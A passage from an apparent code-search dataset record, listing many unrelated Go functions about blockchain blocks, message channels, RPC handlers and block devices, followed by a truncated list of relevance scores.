receiveBlock *types.StateBlock\n\tif sendBlock.Type == types.Send {\n\t\treceiveBlock, err = l.GenerateReceiveBlock(sendBlock, account.PrivateKey())\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t} else if sendBlock.Type == types.ContractSend && sendBlock.Link == types.Hash(contractaddress.RewardsAddress) {\n\t\tsendHash := sendBlock.GetHash()\n\t\terr = client.Call(&receiveBlock, \"rewards_getReceiveRewardBlock\", &sendHash)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tif receiveBlock != nil {\n\t\tvar h types.Hash\n\t\terr = client.Call(&h, \"ledger_process\", &receiveBlock)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\treturn nil\n}", "func (b *Builder) Block() *Builder {\n\treturn new(Builder)\n}", "func (c *Connection) Channel() (*Channel, error) {\n\tch, err := c.Connection.Channel()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchannel := &Channel{\n\t\tChannel: ch,\n\t\tdelayer: &delayer{delaySeconds: c.delaySeconds},\n\t}\n\n\tgo func() {\n\t\tfor {\n\t\t\treason, ok := <-channel.Channel.NotifyClose(make(chan *amqp.Error))\n\t\t\t// exit this goroutine if channel is closed by developer\n\t\t\tif !ok || channel.IsClosed() {\n\t\t\t\tdebug(\"channel closed\")\n\t\t\t\tchannel.Close() // ensure closed flag is set when channel is closed\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdebugf(\"channel closed, reason: %v\", reason)\n\n\t\t\t// recreate if channel is not closed by developer\n\t\t\tfor {\n\t\t\t\t// wait for channel recreate\n\t\t\t\twait(channel.delaySeconds)\n\n\t\t\t\tch, err := c.Connection.Channel()\n\t\t\t\tif err == nil {\n\t\t\t\t\tdebug(\"channel recreate success\")\n\t\t\t\t\tchannel.methodMap.Range(func(k, v interface{}) bool {\n\t\t\t\t\t\tmethodName, _ := k.(string)\n\t\t\t\t\t\tchannel.DoMethod(ch, methodName)\n\t\t\t\t\t\tdebugf(\"channel do method %v success\", methodName)\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\tchannel.Channel = ch\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tdebugf(\"channel recreate failed, err: %v\", err)\n\t\t\t}\n\t\t}\n\n\t}()\n\n\treturn channel, nil\n}", "func (bs *Bootstrapper) GenesisBlockForChannel(channelID string) *cb.Block {\n\treturn genesis.NewFactoryImpl(bs.channelGroup).Block(channelID)\n}", "func NewChannel(cli, svr int) *Channel {\n\tc := new(Channel)\n\tc.CliProto.Init(cli)\n\n\t// grpc接收資料的緩充量\n\tc.signal = make(chan *grpc.Proto, svr)\n\tc.watchOps = make(map[int32]struct{})\n\treturn c\n}", "func NewChannel(changeChan chan bool) *Channel {\n\treturn &Channel{\n\t\tcurSpeed: 0,\n\t\tmaxSpeed: 0,\n\t\tmanualSpeed: 0,\n\t\ttemp: 0,\n\t\tcurAlarm: 0,\n\t\ttargetSpeed: 65535,\n\t\ttargetAlarm: 255,\n\t\tdirty: false,\n\t\tinit: 0x00,\n\t\tchange: changeChan,\n\t}\n}", "func (a API) GetBlock(cmd *btcjson.GetBlockCmd) (e error) {\n\tRPCHandlers[\"getblock\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (s *Service) BlockFilter(c context.Context, ui *model.UserInfo) (state int8, err error) {\n\tvar (\n\t\targs = &Args{ui: ui}\n\t\ths = []HandlerFunc{s.scoreLessHandler}\n\t\tblockNo = s.BlockNo(s.c.Property.Block.CycleTimes)\n\t)\n\tstate = ui.State\n\tif b := s.Verify(c, args, hs...); !b {\n\t\treturn\n\t}\n\tstate = model.StateBlock\n\ts.dao.AddBlockCache(c, ui.Mid, ui.Score, blockNo)\n\tif err = s.dao.AddPunishmentQueue(c, ui.Mid, blockNo); err != nil {\n\t\tlog.Error(\"s.dao.AddPunishmentQueue(%d) error(%v)\", ui.Mid, err)\n\t\treturn\n\t}\n\treturn\n}", "func (p *Player) Channel() *api.Channel {\n\tretCh := make(chan *api.Channel)\n\tp.chGetChannel <- retCh\n\tc := <-retCh\n\treturn c\n}", "func (dc *PeerClient) RequestBlock(req *cb.Envelope) (*cb.Block, error) {\n\tde, conn, cancel, err := newPeerDeliverClient(dc.endpoint)\n\tif err != nil {\n\t\tlogger.Error(\"Error creating deliver client\", err)\n\t\treturn nil, err\n\t}\n\n\tdefer conn.Close()\n\tdefer de.CloseSend()\n\tdefer cancel()\n\n\terr = de.Send(req)\n\tif err != nil {\n\t\tlogger.Error(\"Error sending block request\", err)\n\t\treturn nil, err\n\t}\n\n\tmsg, err := de.Recv()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error receiving\")\n\t}\n\tswitch t := msg.Type.(type) {\n\tcase *pb.DeliverResponse_Status:\n\t\tlogger.Infof(\"Got status: %v\", t)\n\t\treturn nil, errors.Errorf(\"can't read the block: %v\", t)\n\tcase *pb.DeliverResponse_Block:\n\t\tlogger.Infof(\"Received block: %v\", t.Block.Header.Number)\n\t\tde.Recv() // Flush the success message\n\t\treturn t.Block, nil\n\tdefault:\n\t\treturn nil, errors.Errorf(\"response error: unknown type %T\", t)\n\t}\n}", "func NewBlock(oldBlock Block, data string) Block {\n\t// fmt.Println(\"******TODO: IMPLEMENT NewBlock!******\")\n\tblock := Block{Data: data, Timestamp: time.Now().Unix(), PrevHash: oldBlock.Hash, Hash: []byte{}}\n\tblock.Hash = block.calculateHash()\n\t// fmt.Println(\"data: \" + block.Data)\n\t// fmt.Printf(\"timestamp: %d\", block.Timestamp)\n\t// fmt.Println()\n\t// fmt.Printf(\"preHash: %x\", block.PrevHash)\n\t// fmt.Println()\n\t// fmt.Printf(\"currentHash: %x\", block.Hash)\n\t// fmt.Println()\n\t// fmt.Println(\"******TODO: END NewBlock!******\")\n\t// fmt.Println()\n\t// fmt.Println()\n\t// fmt.Println()\n\treturn block\n}", "func NewBlock(index uint64, ordered Events) *Block {\n\tevents := make(hash.EventsSlice, len(ordered))\n\tfor i, e := range ordered {\n\t\tevents[i] = e.Hash()\n\t}\n\n\treturn &Block{\n\t\tIndex: index,\n\t\tEvents: events,\n\t}\n}", "func ApplyBlock(appConnConsensus proxy.AppConnConsensus, block *types.Block) ([]byte, error) {\n\tvar eventCache types.Fireable // nil\n\t_, err := execBlockOnProxyApp(eventCache, appConnConsensus, block)\n\tif err != nil {\n\t\tlog.Warn(\"Error executing block on proxy app\", \"height\", block.Height, \"err\", err)\n\t\treturn nil, err\n\t}\n\t// Commit block, get hash back\n\tres := appConnConsensus.CommitSync()\n\tif res.IsErr() {\n\t\tlog.Warn(\"Error in proxyAppConn.CommitSync\", \"error\", res)\n\t\treturn nil, res\n\t}\n\tif res.Log != \"\" {\n\t\tlog.Info(\"Commit.Log: \" + res.Log)\n\t}\n\treturn res.Data, nil\n}", "func (s *Server) getBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\n\tbl, ok := s.cacheBlocks.Lookup(*bh)\n\tif ok {\n\t\treturn bl.(*wire.MsgBlock), nil\n\t}\n\n\tb, err := s.c.GetBlock(ctx, bh)\n\tif err == nil {\n\t\ts.cacheBlocks.Add(*bh, b)\n\t\treturn b, err\n\t}\n\n\tif rpcerr, ok := err.(*dcrjson.RPCError); ok && rpcerr.Code == dcrjson.ErrRPCBlockNotFound {\n\t\treturn nil, types.ErrBlockNotFound\n\t}\n\n\t// TODO: types.DcrdError()\n\treturn nil, err\n}", "func WithBlock() Option {\n\treturn WithDialOpts(grpc.WithBlock())\n}", "func NewBlock(width float64, height float64) *Block {\n\tb := &Block{}\n\tb.contents = &contentstream.ContentStreamOperations{}\n\tb.resources = model.NewPdfPageResources()\n\tb.width = width\n\tb.height = height\n\treturn b\n}", "func (cs *Service) AddBlock(block *Block) {\n\tcs.BlockPool <- block\n}", "func newBlock(prevHash [32]byte, prevHashWithoutTx [32]byte, commitmentProof [crypto.COMM_PROOF_LENGTH]byte, height uint32) *protocol.Block {\n\tblock := new(protocol.Block)\n\tblock.PrevHash = prevHash\n\tblock.PrevHashWithoutTx = prevHashWithoutTx\n\tblock.CommitmentProof = commitmentProof\n\tblock.Height = height\n\tblock.StateCopy = make(map[[32]byte]*protocol.Account)\n\tblock.Aggregated = false\n\n\treturn block\n}", "func NewBlock(tx *Transaction) *Block {\n\t\n\treturn nil\n}", "func BlockCommand() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"block [height]\",\n\t\tShort: \"Get verified data for a the block at given height\",\n\t\tArgs: cobra.MaximumNArgs(1),\n\t\tRunE: printBlock,\n\t}\n\tcmd.Flags().StringP(client.FlagNode, \"n\", \"tcp://localhost:26657\", \"Node to connect to\")\n\tviper.BindPFlag(client.FlagNode, cmd.Flags().Lookup(client.FlagNode))\n\tcmd.Flags().Bool(client.FlagTrustNode, false, \"Trust connected full node (don't verify proofs for responses)\")\n\tviper.BindPFlag(client.FlagTrustNode, cmd.Flags().Lookup(client.FlagTrustNode))\n\treturn cmd\n}", "func NewBlock(object dbus.BusObject) *Block {\n\treturn &Block{object}\n}", "func (d *deliverServiceImpl) StartDeliverForChannel(chainID string, ledgerInfo blocksprovider.LedgerInfo, finalizer func()) error {\n\td.lock.Lock()\n\tdefer d.lock.Unlock()\n\n\tif d.stopping {\n\t\terrMsg := fmt.Sprintf(\"block deliverer for channel `%s` is stopping\", chainID)\n\t\tlogger.Errorf(\"Delivery service: %s\", errMsg)\n\t\treturn errors.New(errMsg)\n\t}\n\n\tif d.blockDeliverer != nil {\n\t\terrMsg := fmt.Sprintf(\"block deliverer for channel `%s` already exists\", chainID)\n\t\tlogger.Errorf(\"Delivery service: %s\", errMsg)\n\t\treturn errors.New(errMsg)\n\t}\n\n\t// TODO save the initial bundle in the block deliverer in order to maintain a stand alone BlockVerifier that gets updated\n\t// immediately after a config block is pulled and verified.\n\tbundle, err := channelconfig.NewBundle(chainID, d.conf.ChannelConfig, d.conf.CryptoProvider)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"failed to create block deliverer for channel `%s`\", chainID)\n\t}\n\toc, ok := bundle.OrdererConfig()\n\tif !ok {\n\t\t// This should never happen because it is checked in peer.createChannel()\n\t\treturn errors.Errorf(\"failed to create block deliverer for channel `%s`, missing OrdererConfig\", chainID)\n\t}\n\n\tswitch ct := oc.ConsensusType(); ct {\n\tcase \"etcdraft\":\n\t\td.blockDeliverer, err = d.createBlockDelivererCFT(chainID, ledgerInfo)\n\tcase \"BFT\":\n\t\td.blockDeliverer, err = d.createBlockDelivererBFT(chainID, ledgerInfo)\n\tdefault:\n\t\terr = errors.Errorf(\"unexpected consensus type: `%s`\", ct)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !d.conf.DeliverServiceConfig.BlockGossipEnabled {\n\t\tlogger.Infow(\"This peer will retrieve blocks from ordering service (will not disseminate them to other peers in the organization)\", \"channel\", chainID)\n\t} else {\n\t\tlogger.Infow(\"This peer will retrieve blocks from ordering service and disseminate to other peers in the organization\", \"channel\", chainID)\n\t}\n\n\td.channelID = chainID\n\n\tgo func() {\n\t\td.blockDeliverer.DeliverBlocks()\n\t\tfinalizer()\n\t}()\n\treturn nil\n}", "func (client *Client) CreateBlock() {\n\tfor {\n\t\tselect {\n\t\tcase <-client.done:\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\t\tclient.flushTicket()\n\t\tif client.IsClosed() {\n\t\t\tplog.Info(\"create block stop\")\n\t\t\tbreak\n\t\t}\n\t\tif !client.IsMining() || !(client.IsCaughtUp() || client.Cfg.ForceMining) {\n\t\t\tplog.Info(\"createblock.ismining is disable or client is caughtup is false\")\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\t}\n\t\tif client.getTicketCount() == 0 {\n\t\t\tplog.Info(\"createblock.getticketcount = 0\")\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\t}\n\t\t// if !client.miningOK() {\n\t\t// \ttime.Sleep(time.Second)\n\t\t// \tcontinue\n\t\t// }\n\t\tbreak\n\t}\n\tclient.n.runLoop()\n}", "func broadcastActivityBlock() {\n\tactivityPayload := payload.NewGenericDataPayload([]byte(\"activity\"))\n\tfor {\n\t\tif estimate := deps.BlockIssuer.Estimate(); estimate > 0 {\n\t\t\ttime.Sleep(estimate)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tblock, err := deps.BlockIssuer.CreateBlock(activityPayload, Parameters.ParentsCount)\n\tif err != nil {\n\t\tPlugin.LogWarnf(\"error creating activity block: %s\", err)\n\t\treturn\n\t}\n\terr = deps.BlockIssuer.IssueBlockAndAwaitBlockToBeScheduled(block, Parameters.BroadcastInterval)\n\tif err != nil {\n\t\tPlugin.LogWarnf(\"error issuing activity block: %s\", err)\n\t\treturn\n\t}\n\n\tPlugin.LogDebugf(\"issued activity block %s (issuing time: %s)\", block.ID(), block.IssuingTime().String())\n}", "func (c *Context) CreateBlock() block.Block {\n\tif c.block == nil {\n\t\tif c.block = c.MakeHeader(); c.block == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\ttxx := make([]block.Transaction, len(c.TransactionHashes))\n\n\t\tfor i, h := range c.TransactionHashes {\n\t\t\ttxx[i] = c.Transactions[h]\n\t\t}\n\n\t\tc.block.SetTransactions(txx)\n\t}\n\n\treturn c.block\n}", "func (f *Fetcher) StartNewBlockSubscriber(BlockArrivalChannel chan<- *atypes.DistilledBlock) {\n\tgo func() {\n\t\t// ch := pubsub.Channel()\n\t\tlog.Print(\"wait event\")\n\t\tpubsub := f.client.PSubscribe(\"newblock*\")\n\t\tdefer pubsub.Close()\n\t\tch := pubsub.ChannelSize(100)\n\t\tfor {\n\t\t\t// msg, _ := pubsub.ReceiveMessage()\n\t\t\tmsg := <-ch\n\t\t\t// get a block number\n\t\t\tnumber, _ := strconv.ParseInt(msg.Payload, 10, 64)\n\n\t\t\t// get a block\n\t\t\tfetchedBlock := f.FetchBlock(number)\n\n\t\t\tBlockArrivalChannel <- fetchedBlock\n\t\t\t// log.Printf(\"received pattern[%s], payload[%s]\", number, msg.Pattern, msg.Payload)\n\t\t\tlog.Printf(\"received newblock[%+v], pattern[%s], payload[%s]\", fetchedBlock, msg.Pattern, msg.Payload)\n\t\t}\n\t}()\n}", "func (ps *PubsubApi) BlockSubscribe(ctx context.Context) (*rpc.Subscription, error) {\n\tif ps.s.context().eventBus == nil {\n\t\t// @Note: Should not happen!\n\t\tlog.Error(\"rpc: eventbus nil, not support Subscribetion!!!\")\n\t\treturn nil, rpc.ErrNotificationsUnsupported\n\t}\n\n\tnotifier, supported := rpc.NotifierFromContext(ctx)\n\tif !supported {\n\t\treturn nil, rpc.ErrNotificationsUnsupported\n\t}\n\n\tsubscription := notifier.CreateSubscription()\n\n\tsuberName := fmt.Sprintf(\"rpc-block-suber-%s\", subscription.ID)\n\tebCtx := context.Background()\n\tblockCh := make(chan interface{}, 128)\n\tif err := ps.context().eventBus.Subscribe(ebCtx, suberName, types.EventQueryNewBlock, blockCh); err != nil {\n\t\tlog.Warn(\"rpc: Subscribe fail\", \"err\", err)\n\t\treturn nil, err\n\t}\n\n\tgo func() {\n\t\tdefer func() {\n\t\t\tps.context().eventBus.Unsubscribe(ebCtx, suberName, types.EventQueryNewBlock)\n\t\t\t//close(blockCh)\n\t\t}()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase b := <-blockCh:\n\t\t\t\tnb := b.(types.EventDataNewBlock)\n\t\t\t\tif nb.Block == nil {\n\t\t\t\t\tlog.Warn(\"ignore empty block\")\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\treceipts := ps.backend().GetReceipts(nil, nb.Block.HeightU64())\n\t\t\t\twBlock := rtypes.NewWholeBlock(nb.Block, receipts)\n\t\t\t\tif err := notifier.Notify(subscription.ID, wBlock); err != nil {\n\t\t\t\t\tlog.Error(\"rpc: notify failed\", \"err\", err, \"suber\", suberName, \"blockHash\", nb.Block.Hash().Hex(), \"blockNum\", nb.Block.HeightU64())\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tlog.Info(\"rpc: notify success\", \"sub\", suberName, \"blockHash\", nb.Block.Hash().Hex(), \"blockNum\", nb.Block.HeightU64())\n\n\t\t\tcase <-notifier.Closed():\n\t\t\t\tlog.Info(\"rpc BlockSubscribe: unsubscribe\", \"suber\", suberName)\n\t\t\t\treturn\n\t\t\tcase err := <-subscription.Err():\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error(\"rpc subscription: error\", \"suber\", suberName, \"err\", err)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Info(\"rpc subscription: exit\", \"suber\", suberName)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\tlog.Info(\"rpc BlockSubscribe: ok\", \"name\", suberName)\n\treturn subscription, nil\n}", "func NewBufferedChannel(ctx Context, size int) Channel {\n\treturn &channelImpl{size: size}\n}", "func NewBlock(blk *types.Block, repo repository.Repository) *Block {\n\treturn &Block{\n\t\trepo: repo,\n\t\tBlock: *blk,\n\t}\n}", "func Block(ctx context.Context, blockee *models.User) (*viewer.Viewer, error) {\n\t// function that takes a user and has the viewer block the other user\n\treturn viewer.ViewerResolver(ctx)\n}", "func (bc *Blockchain) SendBlocks() {\n for true {\n i := <-bc.BlockIndexChannel\n if i < len(bc.Chain) && i >= 0 {\n bc.GetBlockChannel <-bc.Chain[i]\n } else {\n // make an \"error\" block\n respBlock := Block {\n Index: -1,\n }\n bc.GetBlockChannel <-respBlock\n }\n }\n}", "func NewBlockCache(capacity uint32) *BlockCache {\n\t// TODO: Fetch latest block number every 15s to know what can be cached\n\t// https://eth.wiki/json-rpc/API#eth_blocknumber\n\t// curl https://cloudflare-eth.com --data '{\"jsonrpc\":\"2.0\",\"method\":\"eth_blockNumber\",\"params\":[],\"id\":1}'\n\treturn &BlockCache{\n\t\tentries: make(blockByNumberMap, capacity),\n\t\tcallCount: 0,\n\t\tcapacity: capacity,\n\t}\n}", "func (c *Channel) Reader() blockledger.Reader {\n\treturn fileledger.NewFileLedger(fileLedgerBlockStore{c.ledger})\n}", "func NewChannel() (chan *fluent.FluentRecordSet, chan Stat) {\n\tmessageCh := make(chan *fluent.FluentRecordSet, MessageChannelBufferLen)\n\tmonitorCh := make(chan Stat, MonitorChannelBufferLen)\n\treturn messageCh, monitorCh\n}", "func NewChannel() (chan *fluent.FluentRecordSet, chan Stat) {\n\tmessageCh := make(chan *fluent.FluentRecordSet, MessageChannelBufferLen)\n\tmonitorCh := make(chan Stat, MonitorChannelBufferLen)\n\treturn messageCh, monitorCh\n}", "func (b *Bucket) Channel(key string) (ch *Channel) {\n\tb.cLock.RLock()\n\tch = b.chs[key]\n\tb.cLock.RUnlock()\n\treturn\n}", "func (_Rootchain *RootchainCallerSession) Blocks(arg0 *big.Int) (struct {\n\tRoot [32]byte\n\tTimestamp *big.Int\n}, error) {\n\treturn _Rootchain.Contract.Blocks(&_Rootchain.CallOpts, arg0)\n}", "func createChannel() Channel {\n\tchannel := channelStruct{}\n\treturn &channel\n}", "func newBlockBuffer(blockSize int64) *blockBuffer {\n\treturn &blockBuffer{\n\t\tblockSize: blockSize,\n\t\tsgl: glMem2.NewSGL(blockSize, blockSize),\n\t\tvalid: false,\n\t}\n}", "func (c *Crawler) newBlock(block *wire.MsgBlock, hash *chainhash.Hash) {\t\n\tc.height += 1\n\tc.blockQueue.PushBack(*hash)\n\n\tif c.blockQueue.Len() > BlockQueueSize {\n\t\tc.blockQueue.PopFront()\n\t}\n}", "func TestBlock(t *testing.T) {\n\tdefer check(t)\n\tcontent := \"hello world!\"\n\treq := &showcasepb.BlockRequest{\n\t\tResponseDelay: &durationpb.Duration{Nanos: 1000},\n\t\tResponse: &showcasepb.BlockRequest_Success{\n\t\t\tSuccess: &showcasepb.BlockResponse{Content: content},\n\t\t},\n\t}\n\tresp, err := echo.Block(context.Background(), req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif resp.GetContent() != content {\n\t\tt.Errorf(\"Block() = %q, want %q\", resp.GetContent(), content)\n\t}\n}", "func NewBlock(data *models.Block, opts ...options.Option[Block]) (newBlock *Block) {\n\treturn options.Apply(&Block{\n\t\tstrongChildren: make([]*Block, 0),\n\t\tweakChildren: make([]*Block, 0),\n\t\tlikedInsteadChildren: make([]*Block, 0),\n\t\tModelsBlock: data,\n\t}, opts)\n}", "func NewBlock(seqNum uint64, previousHash []byte) *cb.Block {\n\tblock := &cb.Block{}\n\tblock.Header = &cb.BlockHeader{}\n\tblock.Header.Number = seqNum\n\tblock.Header.PreviousHash = previousHash\n\tblock.Header.DataHash = []byte{}\n\tblock.Data = &cb.BlockData{}\n\n\tvar metadataContents [][]byte\n\tfor i := 0; i < len(cb.BlockMetadataIndex_name); i++ {\n\t\tmetadataContents = append(metadataContents, []byte{})\n\t}\n\tblock.Metadata = &cb.BlockMetadata{Metadata: metadataContents}\n\n\treturn block\n}", "func (bs *Bootstrapper) GenesisBlock() *cb.Block {\n\t// TODO(mjs): remove\n\treturn genesis.NewFactoryImpl(bs.channelGroup).Block(\"testchannelid\")\n}", "func New() *Blockstream {\n\treturn &Blockstream{}\n}", "func NewBlockCache() *BlockCache {\n\treturn &BlockCache{\n\t\tm: make(map[string]bool),\n\t}\n}", "func WithBlock(duration time.Duration) Option {\n\treturn func(cfg *config) {\n\t\tcfg.block = duration\n\t}\n}", "func (p *HostedProgramInfo) Channel() io.ReadWriteCloser {\n\treturn p.TaoChannel\n}", "func (device *BlockDevice) Attach(ctx context.Context, devReceiver api.DeviceReceiver) (err error) {\n\tskip, err := device.bumpAttachCount(true)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif skip {\n\t\treturn nil\n\t}\n\n\t// Increment the block index for the sandbox. This is used to determine the name\n\t// for the block device in the case where the block device is used as container\n\t// rootfs and the predicted block device name needs to be provided to the agent.\n\tindex, err := devReceiver.GetAndSetSandboxBlockIndex()\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tdevReceiver.UnsetSandboxBlockIndex(index)\n\t\t\tdevice.bumpAttachCount(false)\n\t\t}\n\t}()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thypervisorType := devReceiver.GetHypervisorType()\n\tif hypervisorType == \"acrn\" {\n\t\tdeviceLogger().Debug(\"Special casing for ACRN to increment BlockIndex\")\n\t\tindex = index + 1\n\t}\n\n\tdrive := &config.BlockDrive{\n\t\tFile: device.DeviceInfo.HostPath,\n\t\tFormat: \"raw\",\n\t\tID: utils.MakeNameID(\"drive\", device.DeviceInfo.ID, maxDevIDSize),\n\t\tIndex: index,\n\t\tPmem: device.DeviceInfo.Pmem,\n\t\tReadOnly: device.DeviceInfo.ReadOnly,\n\t}\n\n\tif fs, ok := device.DeviceInfo.DriverOptions[config.FsTypeOpt]; ok {\n\t\tdrive.Format = fs\n\t}\n\n\tcustomOptions := device.DeviceInfo.DriverOptions\n\tif customOptions == nil ||\n\t\tcustomOptions[config.BlockDriverOpt] == config.VirtioSCSI {\n\t\t// User has not chosen a specific block device type\n\t\t// Default to SCSI\n\t\tscsiAddr, err := utils.GetSCSIAddress(index)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdrive.SCSIAddr = scsiAddr\n\t} else if customOptions[config.BlockDriverOpt] != config.Nvdimm {\n\t\tvar globalIdx int\n\n\t\tswitch customOptions[config.BlockDriverOpt] {\n\t\tcase config.VirtioBlock:\n\t\t\tglobalIdx = index\n\t\tcase config.VirtioBlockCCW:\n\t\t\tglobalIdx = index\n\t\tcase config.VirtioMmio:\n\t\t\t//With firecracker the rootfs for the VM itself\n\t\t\t//sits at /dev/vda and consumes the first index.\n\t\t\t//Longer term block based VM rootfs should be added\n\t\t\t//as a regular block device which eliminates the\n\t\t\t//offset.\n\t\t\t//https://github.com/kata-containers/runtime/issues/1061\n\t\t\tglobalIdx = index + 1\n\t\t}\n\n\t\tdriveName, err := utils.GetVirtDriveName(globalIdx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdrive.VirtPath = filepath.Join(\"/dev\", driveName)\n\t}\n\n\tdeviceLogger().WithField(\"device\", device.DeviceInfo.HostPath).WithField(\"VirtPath\", drive.VirtPath).Infof(\"Attaching %s device\", customOptions[config.BlockDriverOpt])\n\tdevice.BlockDrive = drive\n\tif err = devReceiver.HotplugAddDevice(ctx, device, config.DeviceBlock); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func newChunkBlock(chunks []*chunk, reporter errorLocationReporter) *chunk {\n\tr := newChunk(CHUNK_BLOCK, reporter)\n\tr.m[\"chunks\"] = chunks\n\treturn r\n}", "func Block() {\n\t<-time.NewTimer(time.Second).C\n}", "func (rs *RosettaService) Block(ctx context.Context, request *rtypes.BlockRequest) (*rtypes.BlockResponse, *rtypes.Error) {\n\tvar block *rtypes.Block\n\tvar err *rtypes.Error\n\tswitch {\n\tcase request.BlockIdentifier.Index != nil:\n\t\tb, ok := rs.cs.BlockAtHeight(stypes.BlockHeight(*request.BlockIdentifier.Index))\n\t\tif !ok {\n\t\t\treturn nil, errUnknownBlock\n\t\t}\n\t\tblock, err = rs.convertBlock(b)\n\t\t// sanity check\n\t\tif err == nil && block.BlockIdentifier.Index != *request.BlockIdentifier.Index {\n\t\t\tpanic(\"block height mismatch\")\n\t\t}\n\n\tcase request.BlockIdentifier.Hash != nil:\n\t\tvar bid stypes.BlockID\n\t\tif err := bid.LoadString(*request.BlockIdentifier.Hash); err != nil {\n\t\t\treturn nil, errInvalidBlockID(err)\n\t\t}\n\t\tb, _, ok := rs.cs.BlockByID(bid)\n\t\tif !ok {\n\t\t\treturn nil, errUnknownBlock\n\t\t}\n\t\tblock, err = rs.convertBlock(b)\n\t\t// sanity check\n\t\tif err == nil && block.BlockIdentifier.Hash != *request.BlockIdentifier.Hash {\n\t\t\tpanic(\"block hash mismatch\")\n\t\t}\n\n\tdefault:\n\t\tblock, err = rs.convertBlock(rs.cs.CurrentBlock())\n\t}\n\n\treturn &rtypes.BlockResponse{\n\t\tBlock: block,\n\t}, err\n}", "func MineBlock(w http.ResponseWriter, r *http.Request) {\n\t// Checks for the block in data field\n\tvar data BlockData\n\terr := json.NewDecoder(r.Body).Decode(&data)\n\tif err != nil {\n\t\tlog.Println(\"MineBlock: Received block failed to prase(JSON)\")\n\t}\n\n\tsuccess := b.GenerateNextBlock(data.Data)\n\tif success {\n\t\thub.broadcastMsg(RespLatestMsg())\n\t}\n}", "func (i *gatewayHandler) serveRawBlock(w http.ResponseWriter, r *http.Request, blockCid cid.Cid, contentPath ipath.Path) {\n\tblockReader, err := i.api.Block().Get(r.Context(), contentPath)\n\tif err != nil {\n\t\twebError(w, \"ipfs block get \"+blockCid.String(), err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tblock, err := ioutil.ReadAll(blockReader)\n\tif err != nil {\n\t\twebError(w, \"ipfs block get \"+blockCid.String(), err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tcontent := bytes.NewReader(block)\n\n\t// Set Content-Disposition\n\tname := blockCid.String() + \".bin\"\n\tsetContentDispositionHeader(w, name, \"attachment\")\n\n\t// Set remaining headers\n\tmodtime := addCacheControlHeaders(w, r, contentPath, blockCid)\n\tw.Header().Set(\"Content-Type\", \"application/vnd.ipld.raw\")\n\tw.Header().Set(\"X-Content-Type-Options\", \"nosniff\") // no funny business in the browsers :^)\n\n\t// Done: http.ServeContent will take care of\n\t// If-None-Match+Etag, Content-Length and range requests\n\thttp.ServeContent(w, r, name, modtime, content)\n}", "func (rc *ReadCache) ReceiveBlock(*block.Block) error {\n\t// invalidate the cache at every new block\n\trc.Clear()\n\treturn nil\n}", "func (builder *Builder) RenderBlock(block *BlockInfo) (string, error) {\n\tfor i, renderer := range builder.BlockCompilers {\n\t\tnewVal, err := renderer(block)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"error in block renderer %d: \\n%s\", i, err.Error())\n\t\t}\n\n\t\tblock.Value = newVal\n\t}\n\n\treturn block.Value, nil\n}", "func Block(ctx context.Context, opts Opts) schema.Block {\n\treturn schema.SingleNestedBlock{\n\t\tAttributes: attributesMap(opts),\n\t\tCustomType: Type{\n\t\t\tObjectType: types.ObjectType{\n\t\t\t\tAttrTypes: attrTypesMap(opts),\n\t\t\t},\n\t\t},\n\t}\n}" ]
[ "0.75976044", "0.66064984", "0.6478585", "0.61242306", "0.59563893", "0.5938221", "0.57723457", "0.5512562", "0.5471527", "0.5458594", "0.5419612", "0.5396688", "0.53795546", "0.5379272", "0.53686017", "0.53604186", "0.5352809", "0.5346257", "0.5337584", "0.53247017", "0.5324047", "0.53219473", "0.52721953", "0.5268692", "0.52666277", "0.52642566", "0.526021", "0.5258644", "0.52561736", "0.52400446", "0.51822114", "0.5175438", "0.5152737", "0.5151582", "0.5113925", "0.5107204", "0.5097089", "0.5096519", "0.50787324", "0.5072022", "0.50579894", "0.50530714", "0.50450456", "0.50383985", "0.5036772", "0.50365204", "0.5032207", "0.50318116", "0.502941", "0.5025483", "0.5022367", "0.5017922", "0.5016138", "0.5007997", "0.5006539", "0.50026864", "0.5001957", "0.4998872", "0.49941257", "0.49919853", "0.49861854", "0.4984203", "0.4983596", "0.49824688", "0.49822992", "0.4961099", "0.49599048", "0.49571705", "0.4943097", "0.4932533", "0.49321166", "0.49309736", "0.49222195", "0.49187464", "0.49181995", "0.4912302", "0.49090096", "0.49090096", "0.4908857", "0.4902356", "0.49009773", "0.49006212", "0.48944426", "0.48914197", "0.488965", "0.4889434", "0.4886348", "0.48861268", "0.48851764", "0.48688215", "0.48624048", "0.485895", 